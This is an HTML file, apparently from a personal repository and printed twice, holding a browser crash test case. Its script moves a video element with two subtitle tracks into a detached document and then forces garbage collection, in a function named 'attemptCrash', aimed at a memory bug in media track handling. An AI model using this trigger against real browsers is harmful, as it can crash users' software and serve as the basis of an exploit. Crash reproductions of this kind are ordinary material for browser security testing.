leo60228/index.html

## index.html
<!DOCTYPE  html>
<html>
    <head>
        <script>
        function logEvent(evt)
        {
            consoleWrite("EVENT(" + evt.type + ")");
        }

        function startTest()
        {
            track1 = document.getElementsByTagName('track')[0]
            track1.track.mode  =  'showing';
            track1.addEventListener('removetrack', logEvent);

            track2 = document.getElementsByTagName('track')[1]
            track2.track.mode  =  'showing';
            track2.addEventListener('removetrack', logEvent);

            video = document.getElementsByTagName('video')[0];

            setTimeout("attemptCrash()", 0);
        }
        setTimeout(startTest, 5000);

        function forceGC() {
            for (var i = 0; i < 10000; i++) {
                var s = new String("abc");
            }

            window.location.reload();
        }

        function attemptCrash()
        {
            newDocument  =  document.implementation.createDocument("",  null);
            newDocument.appendChild(video);
            delete newDocument;

            setTimeout(ForceGC, 5000);
        }
        </script>
    </head>

    <body>
        <p>Instructions: Play the video, enable subtitles, close once finished</p>
        <video autoplay controls>
            <source src="test.mp4">
            <track src="captions-fast.vtt">
            <track src="captions-fast.vtt">
        </video>
    </body>
</html>
	<!DOCTYPE html>
	<html>
	<head>
	<script>
	function logEvent(evt)
	{
	consoleWrite("EVENT(" + evt.type + ")");
	}

	function startTest()
	{
	track1 = document.getElementsByTagName('track')[0]
	track1.track.mode = 'showing';
	track1.addEventListener('removetrack', logEvent);

	track2 = document.getElementsByTagName('track')[1]
	track2.track.mode = 'showing';
	track2.addEventListener('removetrack', logEvent);

	video = document.getElementsByTagName('video')[0];

	setTimeout("attemptCrash()", 0);
	}
	setTimeout(startTest, 5000);

	function forceGC() {
	for (var i = 0; i < 10000; i++) {
	var s = new String("abc");
	}

	window.location.reload();
	}

	function attemptCrash()
	{
	newDocument = document.implementation.createDocument("", null);
	newDocument.appendChild(video);
	delete newDocument;

	setTimeout(ForceGC, 5000);
	}
	</script>
	</head>

	<body>
	<p>Instructions: Play the video, enable subtitles, close once finished</p>
	<video autoplay controls>
	<source src="test.mp4">
	<track src="captions-fast.vtt">
	<track src="captions-fast.vtt">
	</video>
	</body>
	</html>